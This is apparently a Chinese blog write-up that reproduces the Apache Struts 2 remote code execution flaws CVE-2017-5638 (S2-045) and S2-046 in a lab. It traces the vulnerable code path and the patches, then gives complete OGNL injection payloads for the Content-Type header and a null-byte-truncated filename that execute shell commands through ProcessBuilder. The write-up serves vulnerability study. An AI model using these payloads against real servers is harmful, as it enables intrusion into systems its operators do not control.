Double Kill

0x00 漏洞概述

Apache Struts 2远程代码执行漏洞复现(第三弹)_RCE

编号为CVE-2017-5638

官方描述是:

It is possible to perform a RCE attack with a malicious Content-Type value. If the Content-Type value isn't valid an exception is thrown which is then used to display an error message to a user.

在请求头的Content-Type处注入OGNL表达式,会被Struts 2报错执行。远程攻击者可借助带有#cmd=[字符串]的特制Content-Type HTTP头利用该漏洞执行任意命令。

影响版本:Struts 2.3.5-Struts 2.3.31、Struts 2.5-Struts 2.5.10

0x01 漏洞源码

基于源码版本Struts 2.3.20

git clone https://github.com/apache/Struts.git
cd Struts
git checkout STRUTS_2_3_20

部分网传为Jakarta plugin插件导致的问题,其实不然(Struts 2确实有插件导致的漏洞)。Struts 2默认使用org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest类对上传数据进行解析,并非插件。仅有最后一步完成上传操作(common upload)是调用了第三方组件。

入口过滤器

首先进入StrutsPrepareAndExecuteFilter类(Struts 2默认配置的入口过滤器)。在这里对输入对象request进行封装:

request = prepare.wrapRequest(request);

Apache Struts 2远程代码执行漏洞复现(第三弹)_struts_02

跟进这条语句,PrepareOperations.java中可见:

request = dispatcher.wrapRequest(request);

Apache Struts 2远程代码执行漏洞复现(第三弹)_RCE_03

再次跟进,在Dispatcher.java中得到封装为StrutsRequestWrapper的过程:

public HttpServletRequest wrapRequest(HttpServletRequest request) throws IOException {
        // don't wrap more than once
        if (request instanceof StrutsRequestWrapper) {
            return request;
        }

        String content_type = request.getContentType();
        if (content_type != null && content_type.contains("multipart/form-data")) {
            MultiPartRequest mpr = getMultiPartRequest();
            LocaleProvider provider = getContainer().getInstance(LocaleProvider.class);
            request = new MultiPartRequestWrapper(mpr, request, getSaveDir(), provider);
        } else {
            request = new StrutsRequestWrapper(request, disableRequestAttributeValueStackLookup);
        }

        return request;
    }

Apache Struts 2远程代码执行漏洞复现(第三弹)_java_04

在这里有两个地方值得关注。

  • 第835行,需要使content_type.contains("multipart/form-data")判断为true。网传PoC中就有这么一部分:

    #nike='multipart/form-data'
    

    这实际就是把关键字符串挪给了别的键,给Content-Type腾出位置。用nike是因为发现者为安恒信息研究员Nike.Zheng

  • 第836行,getMultiPartRequest()方法,这个方法可以继续追踪下去。通过配置struts.multipart.parser可以指定不同的解析类,默认则是使用上面提到的org.apache.struts2.dispatcher.multipart.JakartaMultiPartRequest

struts.multipart.parser:该属性指定处理multipart/form-data的MIME类型(文件上传)请求的框架,该属性支持cos、pell和jakarta等属性值,即分别对应使用cos的文件上传框架、pell上传及common-fileupload文件上传框架。该属性的默认值为jakarta。

补丁对比

根据官方给出的影响版本范围,查看修复补丁——Struts 2.3.32版本和Struts 2.5.10.1版本。

Struts 2.3.32版本修改了:

Apache Struts 2远程代码执行漏洞复现(第三弹)_Struts 2_05

Struts 2.5.10.1版本修改了:

Apache Struts 2远程代码执行漏洞复现(第三弹)_struts_06

都是针对LocalizedTextUtil.findText()方法的。

LocalizedTextUtil.findText方法

跟进这个findText()方法,可以看到使用了熟悉的参数valueStack。ValueStack.java中定义了这个参数类型。

Apache Struts 2远程代码执行漏洞复现(第三弹)_RCE_07

即通过键值关系从ActionContext中返回OGNL的堆栈结构。所以这个valueStack与OGNL的最终被执行有关。

接下来跟进findText()中与valueStack相关的语句,可以发现对valueStack的操作有:

  • findMessage()
  • getMessage()
  • getDefaultMessage()
  • ReflectionProviderFactory.getInstance().getRealTarget()

findMessage()执行中都会调用到getMessage(),而getMessage()getDefaultMessage()中都存在buildMessageFormat()用于信息格式化。格式化的消息由TextParseUtil.translateVariables()生成。

Apache Struts 2远程代码执行漏洞复现(第三弹)_RCE_08

getMessage()方法有个参数bundleName,由aClass赋值,而aClass是整个触发流程中的一个File异常类,并不在Collections.java中。执行过程中,getMessage()findMessage()都只能返回null,所以会被触发的只有getDefaultMessage()

Apache Struts 2远程代码执行漏洞复现(第三弹)_java_09

TextParseUtil.translateVariables方法

跟进一下TextParseUtil.translateVariables()的实现。

Apache Struts 2远程代码执行漏洞复现(第三弹)_Java_10

Apache Struts 2远程代码执行漏洞复现(第三弹)_struts_11

即先对defaultMessage进行OGNL表达式的提取,然后执行。漏洞触发的关键就是构造含有恶意OGNL表达式的defaultMessage

0x02 利用流程

Apache Struts 2远程代码执行漏洞复现(第三弹)_Java_12

s2-045

先行测试

随便传个文件后抓包改包。

使用的PoC为(必须含有multipart/form-data):

Content-Type:%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('vulhub',233*233)}.multipart/form-data

Apache Struts 2远程代码执行漏洞复现(第三弹)_java_13

运算被执行!

传马

"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ls -l /tmp').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"

s2-046

与s2-045类似,但注入位置是上传文件的filename

先行测试

PoC:

%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Test',233*233)}\x00b

在最后的b对应字节前,使用00截断:

Apache Struts 2远程代码执行漏洞复现(第三弹)_Java_14

Apache Struts 2远程代码执行漏洞复现(第三弹)_RCE_15

传马

"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='ls /tmp').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} b"

再次使用00截断即可。

Apache Struts 2远程代码执行漏洞复现(第三弹)_struts_16

0x03 补充

所使用的vulhub镜像把s2-045去掉了,只能自行找war包搭建,不过说不定其它版本的vulhub还保留着。

s2-046的方法更为暴力,也更容易被WAF过滤。基本上有s2-045则必有s2-046